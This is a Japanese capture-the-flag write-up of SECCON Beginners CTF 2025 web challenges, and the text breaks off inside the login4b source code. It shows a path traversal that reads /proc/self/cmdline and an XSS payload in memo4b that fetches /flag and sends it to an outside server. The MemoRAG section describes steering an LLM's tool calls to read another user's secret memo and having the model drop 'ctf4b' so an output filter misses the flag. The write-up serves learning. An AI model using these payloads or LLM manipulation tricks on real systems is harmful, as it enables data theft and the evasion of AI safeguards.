SECCON Beginners CTF 2025 writeup

Writer:b1uef0x / Webページ建造途中

概要

今年も例年通り単独参加しようと考えていたが、過去のWriteupを読むと単独参加時は難しい問題に取り組めず力尽きていた。

というわけで今年はチーム参加でWeb問を中心に解いた。

solves

目次

skipping (web:beginner, author:yuasa)

/flagへのアクセスは拒否されます。curlなどを用いて工夫してアクセスして下さい。curl http://skipping.challenges.beginners.seccon.jp:33455

アプリケーションのコードを読む。

index.jsvar express = require("express");
var app = express();

const FLAG = process.env.FLAG;
const PORT = process.env.PORT;

app.get("/", (req, res, next) => {
    return res.send('FLAG をどうぞ: <a href="/flag">/flag</a>');
});

const check = (req, res, next) => {
    if (!req.headers['x-ctf4b-request'] || req.headers['x-ctf4b-request'] !== 'ctf4b') {
        return res.status(403).send('403 Forbidden');
    }

    next();
}

app.get("/flag", check, (req, res, next) => {
    return res.send(FLAG);
})

app.listen(PORT, () => {
    console.log(`Server is running on port ${PORT}`);
});

check関数でhttp headerにx-ctf4b-request: ctf4bが入っているかどうかをチェックしているのでヘッダを追加してリクエストする。

curl -H "x-ctf4b-request: ctf4b" http://skipping.challenges.beginners.seccon.jp:33455/flag

ctf4b{y0ur_5k1pp1n6_15_v3ry_n1c3}

log-viewer (web:easy, author:kotokaze)

ログをウェブブラウザで表示できるアプリケーションを作成しました。 これで定期的に集約してきているログを簡単に確認できます。 秘密の情報も安全にアプリに渡せているはずです...

http://log-viewer.challenges.beginners.seccon.jp:9999

ソースコードは配布されない。

log-viewer 問題ページ

選択したファイルの内容を閲覧できるが、明らかにパストラバーサルの脆弱性がある。読み込めるaccess.logとdebug.logを確認する。

http://log-viewer.challenges.beginners.seccon.jp:9999/?file=access.log192.168.65.1 - - [21/June/2025:10:41:56 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:41:56 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:41:58 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:10:41:58 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:12:42:13 +0900] "GET /?file=access.log HTTP/1.1" 200 1228 "http://localhost:8000/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:12:42:15 +0900] "GET /?file=access.log HTTP/1.1" 200 1228 "http://localhost:8000/" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:10:42:17 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0"
192.168.65.1 - - [21/June/2025:10:42:17 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0"
192.168.65.1 - - [21/June/2025:10:42:17 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Snapchat/10.77.5.59 (like Safari/604.1)"
192.168.65.1 - - [21/June/2025:10:42:17 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Snapchat/10.77.5.59 (like Safari/604.1)"
192.168.65.1 - - [21/June/2025:10:42:21 +0900] "GET /?file=debug.log HTTP/1.1" 200 1368 "http://localhost:8000/?file=access.log" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:42:24 +0900] "GET /?file=../.env HTTP/1.1" 404 690 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:42:53 +0900] "GET /?file=../../proc/self/environ HTTP/1.1" 200 770 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:43:58 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:10:43:59 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:10:45:13 +0900] "GET /?file=access.log HTTP/1.1" 200 1228 "http://localhost:8000/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:47:01 +0900] "GET /?file=debug.log HTTP/1.1" 200 1368 "http://localhost:8000/?file=access.log" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"

アクセスログにはパストラバーサルを行ったログが残っており、/?file=../../proc/self/environをリクエストして200OKが返っている。2階層遡ればトップディレクトリであることがわかる。

http://log-viewer.challenges.beginners.seccon.jp:9999/?file=debug.log2025/06/21 10:40:02 INFO Initializing LogViewer... pid=17565
2025/06/21 10:40:02 DEBUG Parsed command line arguments flag=ctf4b{this_is_dummy_flag} port=8000
2025/06/21 10:41:56 INFO handlerFunc file=""
2025/06/21 10:41:58 INFO handlerFunc file=""
2025/06/21 10:42:13 INFO handlerFunc file="access.log"
2025/06/21 10:42:15 INFO handlerFunc file="access.log"
2025/06/21 10:42:17 INFO handlerFunc file=""
2025/06/21 10:42:17 INFO handlerFunc file=""
2025/06/21 10:42:21 INFO handlerFunc file="debug.log"
2025/06/21 10:42:24 INFO handlerFunc file="../.env"
2025/06/21 12:42:24 ERROR File not available file=../.env
2025/06/21 12:43:53 INFO handlerFunc file="../../proc/self/envion"
2025/06/21 10:43:59 INFO handlerFunc file=""
2025/06/21 12:45:13 INFO handlerFunc file="access.log"
2025/06/21 12:47:01 INFO handlerFunc file="debug.log"

デバッグログにはコマンドライン引数にflagが与えられていることがわかる。実行中のアプリケーションのコマンドライン引数を取得できればいいので、/proc/self/cmdlineをリクエストする。

次のURLにアクセスする。

http://log-viewer.challenges.beginners.seccon.jp:9999/?file=../../proc/self/cmdline

コマンドライン引数についたflagが得られる。

/usr/local/bin/log-viewer-port=9999-flag=ctf4b{h1dd1ng_1n_cmdl1n3_m4y_b3_r34d4bl3}

ctf4b{h1dd1ng_1n_cmdl1n3_m4y_b3_r34d4bl3}

メモRAG (web:medium, author:yuasa)

Flagはadminが秘密のメモの中に隠しました!

http://memo-rag.challenges.beginners.seccon.jp:33456

LLMを使ったSQLデータベース検索アプリケーションの問題。RAGとは言うがデータベースのベクトル化まではされておらず、LLMに検索ワードを作らせるものだ。

メモRAG 問題ページ1 メモRAG 問題ページ2

メモを作成する機能と検索する機能があるが、管理者botが巡回するわけではないので作成機能は無視する。LLMにflagを検索させる問題となる。

取得すべきflagについてSQLの定義を確認する。

init.sqlCREATE DATABASE IF NOT EXISTS memodb
  DEFAULT CHARACTER SET utf8mb4
  COLLATE utf8mb4_unicode_ci;

USE memodb;

CREATE TABLE IF NOT EXISTS users (
  id VARCHAR(36) PRIMARY KEY,
  username VARCHAR(255) UNIQUE,
  password TEXT
) CHARACTER SET utf8mb4
  COLLATE utf8mb4_unicode_ci;

CREATE TABLE IF NOT EXISTS memos (
  id VARCHAR(36) PRIMARY KEY,
  user_id VARCHAR(36),
  body TEXT,
  visibility ENUM('public','private','secret') NOT NULL,
  password TEXT,
  created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
) CHARACTER SET utf8mb4
  COLLATE utf8mb4_unicode_ci;

INSERT IGNORE INTO users (id, username, password) VALUES
('dummy_admin_id', 'admin', 'dummy_admin_pass');

INSERT IGNORE INTO memos (id, user_id, body, visibility, password) VALUES
('dummy_admin_memo_id', 'dummy_admin_id', 'ctf4b{dummy_flag}', 'secret', 'dummy_admin_memo_pass');

ユーザー名:adminでflagの入ったメモが作成されていて、メモにはパスワードがかかっていて直接表示できない。

次にアプリケーション本体。

app.pyimport os
import uuid
import json
import logging
import sys
from flask import Flask, request, redirect, render_template, session, url_for
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import pymysql
from openai import OpenAI

openai_client = OpenAI()

app = Flask(__name__)
app.secret_key = os.getenv("SESSION_SECRET")

limiter = Limiter(
    get_remote_address,
    app=app,
    default_limits=[],
    storage_uri="redis://redis:6379",
)

# DB接続
def get_db():
    return pymysql.connect(
        host=os.getenv("MYSQL_HOST"),
        user=os.getenv("MYSQL_USER"),
        password=os.getenv("MYSQL_PASSWORD"),
        database=os.getenv("MYSQL_DATABASE"),
        charset='utf8mb4',
        autocommit=True,
        cursorclass=pymysql.cursors.DictCursor,
    )

def query_db(sql, args=(), fetchone=False):
    con = get_db()
    with con.cursor() as cur:
        cur.execute(sql, args)
        result = cur.fetchone() if fetchone else cur.fetchall()
    con.close()
    return result

def execute_db(sql, args=()):
    con = get_db()
    with con.cursor() as cur:
        cur.execute(sql, args)
    con.close()

@app.route('/')
def index():
    if 'user_id' in session:
        return redirect(f"/users/{session['user_id']}")
    return redirect(url_for('login'))

# ユーザー登録
@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        # username の重複をチェック
        existing = query_db("SELECT 1 FROM users WHERE username=%s", (username,), fetchone=True)
        if existing:
            return 'このユーザー名は既に使われています。', 409
        user_id = str(uuid.uuid4())
        execute_db("INSERT INTO users (id, username, password) VALUES (%s, %s, %s)", (user_id, username, password))
        session['user_id'] = user_id
        return redirect(f"/users/{user_id}")
    return render_template('register.html')

# ログイン
@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        user = query_db("SELECT * FROM users WHERE username=%s AND password=%s", (username, password), fetchone=True)
        if user:
            session['user_id'] = user['id']
            return redirect(f"/users/{user['id']}")
        return 'ユーザー名またはパスワードが間違っています。', 403
    return render_template('login.html')

# ログアウト
@app.route('/logout')
def logout():
    session.clear()
    return redirect(url_for('login'))

# ユーザーページ(自分のメモは非公開も表示、他人のメモは公開のみ)
@app.route('/users/<uid>')
def user_page(uid):
    current = session.get('user_id')
    if current == uid:
        sql = """
            SELECT id, body, visibility FROM memos WHERE user_id=%s AND visibility IN ('public','private')
            UNION 
            SELECT id, '??秘密メモ' AS body, 'secret' AS visibility FROM memos WHERE user_id=%s AND visibility='secret'
        """
        memos = query_db(sql, (uid, uid))
    else:
        memos = query_db("SELECT id, body, visibility FROM memos WHERE user_id=%s AND visibility='public'", (uid,))
    return render_template('index.html', memos=memos)

# メモの詳細表示(secret の場合はパスワードを要求)
@app.route('/memo/<mid>', methods=['GET', 'POST'])
def memo_detail(mid):
    uid = session.get('user_id')
    memo = query_db('SELECT * FROM memos WHERE id=%s', (mid,), fetchone=True)
    if not memo:
        return 'Not found', 404
    if memo['user_id'] != uid:
        return 'Forbidden', 403
    if memo['visibility'] == 'secret':
        if request.method == 'POST' and request.form.get('password') == memo.get('password'):
            return render_template('detail.html', memo=memo, authorized=True)
        return render_template('detail.html', memo=memo, authorized=False) if request.method == 'GET' else ('Wrong password', 403)
    return render_template('detail.html', memo=memo, authorized=True)

# メモの作成
@app.route('/memo/create', methods=['GET', 'POST'])
def memo_create():
    uid = session.get('user_id')
    if not uid:
        return redirect('/')
    if request.method == 'POST':
        memo_count = query_db("SELECT COUNT(*) AS count FROM memos WHERE user_id=%s", (uid,), fetchone=True)['count']
        if memo_count >= 3:
            return "メモは3つまでしか作成できません。", 403

        body = request.form.get('body', '')
        if len(body) > 100:
            return "メモは100文字以下で入力してください。", 400

        visibility = request.form.get('visibility', 'public')
        password = request.form.get('password', '') if visibility == 'secret' else None
        mid = str(uuid.uuid4())
        execute_db(
            'INSERT INTO memos (id,user_id,body,visibility,password) VALUES (%s,%s,%s,%s,%s)',
            (mid, uid, body, visibility, password)
        )
        return redirect(f'/memo/{mid}')
    return render_template('create.html')

# 指定ユーザーのメモをキーワードで検索
def search_memos(keyword: str, include_secret: bool, user_id: str) -> list:
    visibilities = ("public","private","secret") if include_secret else ("public","private")
    placeholders = ','.join(['%s'] * len(visibilities))
    sql = f"SELECT id, body FROM memos WHERE user_id=%s AND visibility IN ({placeholders})"
    rows = query_db(sql, (user_id, *visibilities))
    return [r for r in rows if keyword.lower() in r['body'].lower()]

# 指定キーワードを含むメモの投稿者を取得
def get_author_by_body(keyword: str) -> list:
    row = query_db("SELECT user_id FROM memos WHERE body LIKE %s ORDER BY created_at ASC LIMIT 1", (f"%{keyword}%",), fetchone=True)
    return [{'user_id': row['user_id']}] if row else []

# RAG機能:検索や投稿者取得をfunction callingで実施
def rag(query: str, user_id: str) -> list:
    tools = [
        {
            'type': 'function',
            'function': {
                'name': 'search_memos',
                'description': 'Search for memos by keyword and visibility settings.',
                'parameters': {
                    'type': 'object',
                    'properties': {
                        'keyword': {'type': 'string'},
                        'include_secret': {'type': 'boolean'},
                        'target_uid': {'type': 'string'}
                    },
                    'required': ['keyword', 'include_secret', 'target_uid'],
                }
            }
        },
        {
            'type': 'function',
            'function': {
                'name': 'get_author_by_body',
                'description': 'Find the user who wrote a memo containing a given keyword.',
                'parameters': {
                    'type': 'object',
                    'properties': {
                        'keyword': {'type': 'string'}
                    },
                    'required': ['keyword']
                }
            }
        }
    ]
    response = openai_client.chat.completions.create(
        model='gpt-4o-mini',
        messages=[
            {'role': 'system', 'content': 'You are an assistant that helps search user memos using the available tools.'},
            {'role': 'assistant', 'content': 'Target User ID: ' + user_id},
            {'role': 'user', 'content': query}
        ],
        tools=tools,
        tool_choice='required',
        max_tokens=100,
    )
    choice = response.choices[0]
    if choice.message.tool_calls:
        call = choice.message.tool_calls[0]
        name = call.function.name
        args = json.loads(call.function.arguments)
        if name == 'search_memos':
            return search_memos(args.get('keyword', ''), args.get('include_secret', False), args.get('target_uid', ''))
        elif name == 'get_author_by_body':
            return get_author_by_body(args['keyword'])
    return []

# メモを文脈にして質問に答える
def answer_with_context(query: str, memos: list) -> str:
    context_text = "\n---\n".join([m['body'] for m in memos])
    prompt = f"""Here are your memos. Answer the following question based on them:

{context_text}

Question: {query}
"""
    response = openai_client.chat.completions.create(
        model='gpt-4o-mini',
        messages=[
            {'role': 'system', 'content': 'You are an assistant that answers questions using the user\'s memos as context.'},
            {'role': 'user', 'content': prompt}
        ],
        max_tokens=100,
    )
    content = response.choices[0].message.content.strip()
    return content

# RAGによるメモ検索
@app.route('/memo/search', methods=['GET'])
def search_form():
    uid = session.get('user_id')
    if not uid:
        return redirect('/')
    return render_template('search.html', answer=None, query='')

@app.route('/memo/search', methods=['POST'])
@limiter.limit("5 per minute")
def search():
    uid = session.get('user_id')
    if not uid:
        return redirect('/')
    query = request.form.get('query', '')
    memos = rag(query, uid)
    if not (memos and isinstance(memos, list)):
        answer = "関連するメモが見つかりませんでした。"
    else:
        if 'user_id' in memos[0]:
            answer = f"User ID: {memos[0]['user_id']}"
        else:
            answer = answer_with_context(query, memos)
            # 回答にFLAGが含まれている場合は警告を表示
            if "ctf4b" in answer:
                answer = "FLAGのメモは取得できません。"
    return render_template('search.html', answer=answer, query=query)

# ログ出力の設定
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s [%(levelname)s] %(message)s",
    handlers=[logging.StreamHandler(sys.stdout)]
)

コードを読むと、まずLLMが指定できる検索機能はsearch_memos関数とget_author_by_body関数の2つ。

したがって、get_author_by_bodyを使ってadminのユーザーIDを取得し、続いてユーザーIDでflagを検索すればいいことがわかる。

また一番下のsearch関数を読むとLLMの回答にctf4bが含まれると表示させない機能があるが、これはLLMにctf4bを消去して回答させると回避できる。

次の2ステップでflagを取得できる。

メモRAG ctf4bを含むユーザーIDを検索 メモRAG 指定ユーザーIDのctf4bを含むメモを検索

ctf4b{b3_c4r3ful_0f_func710n_c4ll1n6_m15u53d_4rgum3nt5}

memo4b (web:medium, author:shio)

Emojiが使えるメモアプリケーションを作りました:smile:

メモアプリ: http://memo4b.challenges.beginners.seccon.jp:50000

Admin Bot: http://memo4b.challenges.beginners.seccon.jp:50001

メモを投稿して管理者botに巡回させる問題。勝利条件はシンプルで作成したメモでXSSを発火させれば勝ち。

memo4b 問題ページ1 memo4b 問題ページ2

ソースコードは以下の通り。

app.jsimport express from 'express';
import sanitizeHtml from 'sanitize-html';
import { marked } from 'marked';
import parse from 'url-parse';
import fs from 'fs';
import path from 'path';
import crypto from 'crypto';

const app   = express();
const posts = new Map();
const FLAG  = fs.readFileSync('./flag.txt','utf8').trim();

const emojiMap = {
  'smile': '😊',
  'heart': '❤️',
  'fire': '🔥',
  'thumbsup': '👍',
  'thumbsdown': '👎',
  'check': '✅',
  'x': '❌',
  'party': '🎉',
  'eyes': '👀',
  'thinking': '🤔',
  'cry': '😢',
  'laugh': '😂'
};

app.use(express.urlencoded({ extended: false }));
app.use(express.json());

function renderTemplate(templatePath, data) {
  let template = fs.readFileSync(templatePath, 'utf8');
  
  for (const [key, value] of Object.entries(data)) {
    const placeholder = `{{${key.toUpperCase()}}}`;
    template = template.replace(new RegExp(placeholder, 'g'), value);
  }
  
  return template;
}

app.get('/flag', (req,res)=> {
  const clientIP = req.socket.remoteAddress;
  const isLocalhost = clientIP === '127.0.0.1' ||
                     clientIP?.startsWith('172.20.');
  
  if (!isLocalhost) {
    return res.status(403).json({ error: 'Access denied.' });
  }
  
  if (req.headers.cookie !== 'user=admin') {
    return res.status(403).json({ error: 'Admin access required.' });
  }
  
  res.type('text/plain').send(FLAG);
});

app.get('/', (_req, res) => {
  const html = renderTemplate('./templates/index.html', {});
  res.send(html);
});

app.post('/', (req,res)=>{
  const { title='', md='' } = req.body;
  
  marked.setOptions({
    breaks: true,
    gfm: false
  });
  
  let html = marked.parse(md);

  html = sanitizeHtml(html, {
    allowedTags: ['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'p', 'a', 'ul', 'ol', 'li', 'blockquote', 'code', 'pre', 'em', 'strong', 'br'],
    allowedAttributes: {
      'a': ['href']
    }
  });

  html = processEmojis(html);

  const id = crypto.randomUUID().slice(0,8);
  posts.set(id,{ 
    title: title.replace(/[<>]/g, ''), 
    html: html 
  });
  res.redirect(`/post/${id}`);
});

app.get('/post/:id', (req,res)=>{
  const post = posts.get(req.params.id);
  if(!post) return res.sendStatus(404);
  
  const html = renderTemplate('./templates/post.html', {
    title: post.title,
    content: post.html
  });
  res.send(html);
});

app.use('/static', express.static(path.join(process.cwd(),'static')));

app.get('/api/posts', (req, res) => {
  const postList = Array.from(posts.entries()).map(([id, post]) => ({
    id,
    title: post.title,
    url: `/post/${id}`
  }));
  res.json(postList);
});

function processEmojis(html) {
  return html.replace(/:((?:https?:\/\/[^:]+|[^:]+)):/g, (match, name) => {
    if (emojiMap[name]) {
      return emojiMap[name];
    }
    
    if (name.match(/^https?:\/\//)) {
      try {
        const urlObj = new URL(name);
        const baseUrl = urlObj.origin + urlObj.pathname;
        const parsed = parse(name);
        const fragment = parsed.hash || '';
        const imgUrl = baseUrl + fragment;
        
        return `<img src="${imgUrl}" style="height:1.2em;vertical-align:middle;">`;
      } catch (e) {
        return match;
      }
    }
    
    return match;
  });
}

app.listen(50000, '0.0.0.0', ()=>console.log('Server running on http://localhost:50000'));
bot.jsimport puppeteer from 'puppeteer';
import http from 'http';
import fs from 'fs';
import path from 'path';
import { fileURLToPath } from 'url';

const __dirname = path.dirname(fileURLToPath(import.meta.url));
const WEBAPP_URL = process.env.WEBAPP_URL || 'http://web:50000';
const VISIT_TIMEOUT = 10000;

async function visitPost(postId) {
  console.log(`[Bot] Visiting post: ${postId}`);
  
  const browser = await puppeteer.launch({
    headless: true,
    args: [
      '--no-sandbox',
      '--disable-setuid-sandbox',
      '--disable-dev-shm-usage',
      '--disable-gpu'
    ]
  });

  try {
    const page = await browser.newPage();
    
    await page.setCookie({
      name: 'user',
      value: 'admin',
      domain: 'web',
      path: '/'
    });

    const url = `${WEBAPP_URL}/post/${postId}`;
    await page.goto(url, { 
      waitUntil: 'domcontentloaded',
      timeout: VISIT_TIMEOUT 
    });

    await new Promise(resolve => setTimeout(resolve, 3000));
    
    console.log(`[Bot] Successfully visited post: ${postId}`);
    
  } catch (error) {
    console.error(`[Bot] Error visiting post ${postId}:`, error.message);
  } finally {
    await browser.close();
  }
}

const server = http.createServer(async (req, res) => {
  if (req.method === 'GET' && req.url === '/') {
    try {
      const html = fs.readFileSync(path.join(__dirname, 'index.html'), 'utf8');
      res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' });
      res.end(html);
    } catch (error) {
      res.writeHead(500, { 'Content-Type': 'text/plain' });
      res.end('Error loading page');
    }
    return;
  }
  
  if (req.method === 'POST' && req.url === '/visit') {
    let body = '';
    req.on('data', chunk => {
      body += chunk.toString();
    });
    
    req.on('end', async () => {
      try {
        const { postId } = JSON.parse(body);
        
        if (!postId) {
          res.writeHead(400, { 'Content-Type': 'text/plain' });
          res.end('Missing postId');
          return;
        }
        
        visitPost(postId).catch(console.error);
        
        res.writeHead(200, { 'Content-Type': 'text/plain' });
        res.end('Visit scheduled');
      } catch (error) {
        res.writeHead(400, { 'Content-Type': 'text/plain' });
        res.end('Invalid request');
      }
    });
  } else {
    res.writeHead(404, { 'Content-Type': 'text/plain' });
    res.end('Not Found');
  }
});

const PORT = process.env.PORT || 50001;
server.listen(PORT, '0.0.0.0', () => {
  console.log(`[Bot] Admin bot running on port ${PORT}`);
});

flag取得条件は/flagにアクセスすることで、アクセス元が127.0.0.1のようなローカルホストかつuser:adminのCookieを持つことだが、これは管理者botでしか開けないことを意図している。

メモ作成機能はmarkdownが使用できる。本文は外部ライブラリのmarked.parseとsanitizeHtmlで処理されているので欠陥は期待できない。

しかし絵文字を変換するprocessEmojis関数は自前で実装されていて、ここに付け入る隙がある。

function processEmojis(html) {
  return html.replace(/:((?:https?:\/\/[^:]+|[^:]+)):/g, (match, name) => {
    if (emojiMap[name]) {
      return emojiMap[name];
    }
    
    if (name.match(/^https?:\/\//)) {
      try {
        const urlObj = new URL(name);
        const baseUrl = urlObj.origin + urlObj.pathname;
        const parsed = parse(name);
        const fragment = parsed.hash || '';
        const imgUrl = baseUrl + fragment;
        
        return `<img src="${imgUrl}" style="height:1.2em;vertical-align:middle;">`;
      } catch (e) {
        return match;
      }
    }
    
    return match;
  });
}

この関数では絵文字の他に:http://...:の文字列をimgタグに変換する機能があり、imgタグにerror属性を入れてJavaScriptを発火させたい。

色々試すと次の入力でonerrorを発火させることができた。

:https://aaaaa.aaaaa#" onerror="alert(1):
memo4b XSS発火

これで勝ちなので/flagにアクセスして取得したデータを自分のURLに送るコードを書く。URLの文字列には:を含むのでbase64でエンコードしている。

:https://aaaaa.aaaaa#" onerror="fetch('/flag').then(function(r){ return r.text(); }).then(function(t){ new Image().src=atob('送信先サーバーのURLのbase64文字列')+t; }):

これでメモを作成してIDを管理者botに巡回させると自分のサーバーにflagが降ってくる。

ctf4b{xss_1s_fun_and_b3_c4r3fu1_w1th_url_p4r5e}

login4b (web:hard, author:xryuseix)

Are you admin? http://login4b.challenges.beginners.seccon.jp

任意のユーザーを作成してログインできて、adminならflagを表示できるサービス。

login4b 問題ページ1

通常のユーザーではflagは表示できない。

login4b 問題ページ2
server.tsimport express, { Request, Response } from "express";
import session from "express-session";
import path from "path";
import { db } from "./database";

declare module "express-session" {
  interface SessionData {
    userId?: number;
    username?: string;
  }
}

const app = express();
const PORT = process.env.PORT || 3000;

app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, "../public")));

app.use(
  session({
    secret:
      process.env.SESSION_SECRET || "your-secret-key-change-in-production",
    resave: false,
    saveUninitialized: false,
    cookie: { secure: false, maxAge: 24 * 60 * 60 * 1000 },
  })
);

app.post("/api/register", async (req: Request, res: Response) => {
  try {
    const { username, password } = req.body;
    if (!username || !password) {
      return res.status(400).json({ error: "Username and password required" });
    }

    const existingUser = await db.findUser(username);
    if (existingUser) {
      return res.status(400).json({ error: "Username already exists" });
    }

    const userId = await db.createUser(username, password);
    req.session.userId = userId;
    req.session.username = username;

    res.json({ success: true, message: "Registration successful" });
  } catch (error) {
    res.status(500).json({ error: "Registration failed" });
  }
});

app.post("/api/login", async (req: Request, res: Response) => {
  try {
    const { username, password } = req.body;
    if (!username || !password) {
      return res.status(400).json({ error: "Username and password required" });
    }

    const user = await db.findUser(username);
    if (!user || !db.validatePassword(password, user.password_hash)) {
      return res.status(401).json({ error: "Invalid credentials" });
    }

    req.session.userId = user.userid;
    req.session.username = user.username;

    res.json({ success: true, message: "Login successful" });
  } catch (error) {
    res.status(500).json({ error: "Login failed" });
  }
});

app.post("/api/logout", (req: Request, res: Response) => {
  req.session.destroy((err) => {
    if (err) {
      return res.status(500).json({ error: "Logout failed" });
    }
    res.json({ success: true, message: "Logout successful" });
  });
});

app.post("/api/reset-request", async (req: Request, res: Response) => {
  try {
    const { username } = req.body;

    if (!username) {
      return res.status(400).json({ error: "Username is required" });
    }

    const user = await db.findUser(username);
    if (!user) {
      return res.status(404).json({ error: "User not found" });
    }

    await db.generateResetToken(user.userid);

    // TODO: send email to admin
    res.json({
      success: true,
      message:
        "Reset token has been generated. Please contact the administrator for the token.",
    });
  } catch (error) {
    console.error("Error generating reset token:", error);
    res.status(500).json({ error: "Internal server error" });
  }
});

app.post("/api/reset-password", async (req: Request, res: Response) => {
  try {
    const { username, token, newPassword } = req.body;
    if (!username || !token || !newPassword) {
      return res
        .status(400)
        .json({ error: "Username, token, and new password are required" });
    }

    const isValid = await db.validateResetTokenByUsername(username, token);

    if (!isValid) {
      return res.status(400).json({ error: "Invalid token" });
    }

    // TODO: implement
    // await db.updatePasswordByUsername(username, newPassword);

    // TODO: remove this
    const user = await db.findUser(username);
    if (!user) {
      return res.status(401).json({ error: "Invalid username" });
    }
    req.session.userId = user.userid;
    req.session.username = user.username;

    res.json({
      success: true,
      message: `The function to update the password is not implemented, so I will set you the ${user.username}'s session`,
    });
  } catch (error) {
    console.error("Password reset error:", error);
    res.status(500).json({ error: "Reset failed" });
  }
});

app.get("/api/get_flag", (req: Request, res: Response) => {
  if (!req.session.userId) {
    return res.status(401).json({ error: "Not authenticated" });
  }

  if (req.session.username === "admin") {
    res.json({ flag: process.env.FLAG || "ctf4B{**REDACTED**}" });
  } else {
    res.json({ message: "Hello user! Only admin can see the flag." });
  }
});

app.get("/api/status", (req: Request, res: Response) => {
  if (req.session.userId) {
    res.json({
      authenticated: true,
      username: req.session.username,
      isAdmin: req.session.username === "admin",
    });
  } else {
    res.json({ authenticated: false });
  }
});

app.get("*", (req: Request, res: Response) => {
  res.sendFile(path.join(__dirname, "../public/index.html"));
});

app.listen(PORT, () => {
  console.log(`Server running on port ${PORT}`);
});
database.tsimport mysql from "mysql2/promise";
import bcrypt from "bcryptjs";
import { v4 as uuidv4 } from "uuid";

export interface User {
  userid: number;
  username: string;
  password_hash: string;
  reset_token: string | null;
}

class Database {
  private pool: mysql.Pool;
  private initialized: Promise<void>;

  constructor() {
    this.pool = mysql.createPool({
      host: process.env.DB_HOST || "localhost",
      port: parseInt(process.env.DB_PORT || "3306"),
      user: process.env.DB_USER || "root",
      password: process.env.DB_PASSWORD || "rootpassword",
      database: process.env.DB_NAME || "login4b",
      waitForConnections: true,
      connectionLimit: 10,
      queueLimit: 0,
    });
    this.initialized = this.init();
  }

  private async init() {
    try {
      await this.pool.execute(`
        CREATE TABLE IF NOT EXISTS users (
          userid INT AUTO_INCREMENT PRIMARY KEY,
          username VARCHAR(255) UNIQUE NOT NULL,
          password_hash VARCHAR(255) NOT NULL,
          reset_token VARCHAR(255)
        )
      `);

      // Check if admin user exists
      const [rows] = (await this.pool.execute(
        "SELECT COUNT(*) as count FROM users WHERE username = ?",
        ["admin"]
      )) as [any[], mysql.FieldPacket[]];

      if (rows[0].count === 0) {
        const adminHash = bcrypt.hashSync(
          process.env.ADMIN_PASSWORD || "admin_pass",
          10
        );
        await this.pool.execute(
          "INSERT INTO users (username, password_hash) VALUES (?, ?)",
          ["admin", adminHash]
        );
      }
    } catch (error) {
      console.error("Database initialization error:", error);
    }
  }

  async createUser(username: string, password: string): Promise<number> {
    await this.initialized;
    const hashedPassword = bcrypt.hashSync(password, 10);
    const [result] = (await this.pool.execute(
      "INSERT INTO users (username, password_hash) VALUES (?, ?)",
      [username, hashedPassword]
    )) as [mysql.ResultSetHeader, mysql.FieldPacket[]];
    return result.insertId;
  }

  async findUser(username: string): Promise<User | null> {
    await this.initialized;
    const [rows] = (await this.pool.execute(
      "SELECT * FROM users WHERE username = ?",
      [username]
    )) as [User[], mysql.FieldPacket[]];
    return rows[0] || null;
  }

